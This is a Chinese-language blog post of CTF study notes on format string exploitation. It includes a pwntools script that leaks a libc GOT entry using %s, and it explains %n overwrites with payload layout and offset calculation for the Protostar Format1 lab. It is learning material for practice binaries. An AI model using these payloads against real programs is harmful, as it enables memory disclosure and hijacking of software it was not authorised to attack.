学习参照:https://ctf-wiki.github.io/ctf-wiki/pwn/fmtstr/fmtstr_exploit/

利用%s泄露libc函数的got表内容

addr%k$s可以用来泄露指定地址的内容,但要先确定k的值,可控制的格式化字符串参数是函数第几个参数(k+1),减一就是格式化字符串的第几个参数(k)。

利用  [tag]%p%p%p%p%p%p%p%p%p%p来确定k的值

(懒得打字)

利用下面这个脚本随便改改就可以泄露got表内容了,觉得自己好草率

from pwn import *
sh = process('./leakmemory')
leakmemory = ELF('./leakmemory')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'
print payload
gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got
sh.interactive()

利用%n覆盖内存

输出格式 %n 可以将所输出字符串的长度值赋绐一个变量, 见下例:
    int slen;
    printf("hello world%n", &slen);
    执行后变量slen被赋值为11。

payload结构:...[overwrite addr]....%[overwrite offset]$n

我们需要先1.确定要覆盖的内容的地址 2.确定与可控变量的相对偏移 3.构造payload进行覆盖

这里以Protostar的Format1为例子(https://exploit-exercises.com/protostar/)

源码为:

看源码可知,由print(string)引起的只要target不为0,就能执行if语句中的命令,思路就是覆盖target变量地址的内容,使target有值。

1.找到target的地址

找到target的地址为0x08049638

2.计算target与print参数的偏移量

被这步不知道坑了多久,终于找到了一个靠谱的方法(https://lightless.me/archives/protostar-format-writeup.html)

参拜了大神的方法之后,算出来偏移量,步骤如下

先大概测一下

减少四个

发现还差两个,补一下

可以看到括号里为自己输入的ABCD,终于对啦,把ABCD换为target的地址

3.括号里面变成了target的地址,接下来只用把最后的[%08x],换成[%08n]

就可以覆盖target的内容,是target不在为空,成功执行if语句中的命令

艰难的一天终于结束啦,果然还是晚上脑子比较好用。洗洗睡吧

pwn 学习笔记 格式化串计算偏移量相关推荐

  1. 【学习札记NO.00004】Linux Kernel Pwn学习笔记 I:一切开始之前

    [学习札记NO.00004]Linux Kernel Pwn学习笔记 I:一切开始之前 [GITHUB BLOG ADDR](https://arttnba3.cn/2021/02/21/NOTE-0 ...

  2. OpenCV 学习笔记(颜色直方图计算 calcHist)

    OpenCV 学习笔记(颜色直方图计算 calcHist) 最近在看一本OpenCV 的书,书名是 <OpenCV 3 Computer Vision Application Programmi ...

  3. Jarvis Oj Pwn 学习笔记-level3

    你们期待的Libc终于来了~(return_to_libc attack) 跪呈链接: https://files.cnblogs.com/files/Magpie/level3.rar nc pwn ...

  4. 【学习笔记】联邦计算

    相关概念 数据孤岛 指 数据像孤岛一样分散存储在多个组织. 群体之间,且相互闭塞,难以用常规手段打通. 联合计算 是一种在原始数据不出本地的条件下进行多方联合计算 的新型数据共享计算范式.逐渐成为破除 ...

  5. 学习笔记 -《量子计算与编程入门》- 量子计算机硬件基础

    文章目录 1 量子芯片 1.1 超导量子芯片 1.1.1 超导量子计算的进展 1.2 半导体量子芯片 1.2.1 基于电荷位置的量子比特 1.2.2 基于自旋的量子比特 1.2.3 半导体量子计算也正 ...

  6. MXNet动手学深度学习笔记:卷积计算

    为什么80%的码农都做不了架构师?>>>    #coding:utf-8 ''' 卷积计算 ''' import mxnet as mx from mxnet.gluon impo ...

  7. Vue 学习笔记 — css属性计算的问题

    简书 今天在使用Vue时遇到一个问题:在切换css内联属性时某些特殊属性的计算会有问题,无法得到预期的结果. 例子: https://jsfiddle.net/blqw/cLwau40z/ 上面的页面 ...

  8. Python学习笔记:微积分计算

    文章目录 一.集合运算 二.极限运算 1.计算数列极限 2.计算函数极限 三.导数计算 1.常数函数的导数 2.幂函数的导数 3.指数函数的导数 4.对数函数的导数 5.三角函数的导数 6.反三角函数 ...

  9. Jarvis Oj Pwn 学习笔记-level0

    一道64位的pwn题 呈上地址: 原文件:https://files.cnblogs.com/files/Magpie/level0.rar nc pwn2.jarvisoj.com 9881 先查一 ...

最新文章

  1. c#devexpress GridContorl添加进度条
  2. 0x53. 动态规划 - 区间DP(习题详解 × 8)
  3. 使用datatable 将测试数据与业务分离
  4. python自动测试p-python自动化测试_6
  5. Coursera ML笔记 - 神经网络(Learning)
  6. Jfinal 对象列表返回前台json数据
  7. Aaron Stannard谈Akka.NET 1.1
  8. 针对新手的Java EE7和Maven项目–第8部分
  9. ZendGuard-5_0_1 使用备忘
  10. 用python实现基于PANN(retrained Audio Neural Networks)的声音检测方法
  11. 【眼底图像数据集】视杯 视盘分割
  12. 杭电ACM 2000-2099 100道题 详细解题报告出炉
  13. Apple Music预告登场 暗示AirPod 3新款耳机发售?
  14. jmeter压测学习11-模拟浏览器访问web页面
  15. Gitlab本地备份与远程机备份
  16. opencv Scalar()的使用 心得
  17. 接入以太坊(Ethereum)测试网络
  18. 英雄联盟英雄信息【python爬虫】
  19. 略读中国软件开发者白皮书
  20. php 获取用户的IP

热门文章

  1. 诗经1 国风-周南-关雎
  2. 函数的递归调用举例之汉诺塔问题模型
  3. DOKUWIKI的安装以及DOKUWIKI与WORDPRESS共存
  4. Zabbix_Server迁移之Agent地址批量修改
  5. word7计算机搜索设置,win7系统下word文档中进行查找和替换的方法【图文教程】...
  6. [RK3288][Android6.0] 移植笔记 --- Camera IC OV5640添加
  7. 管理类联考——英语——趣味篇——阅读——考题的来源
  8. java基础——条件语句
  9. 十九、帧间预测编码_1、帧间预测编码的基本原理
  10. 区块链安全理论与实践(Blockchain for Distributed Systems Security)阅读笔记D2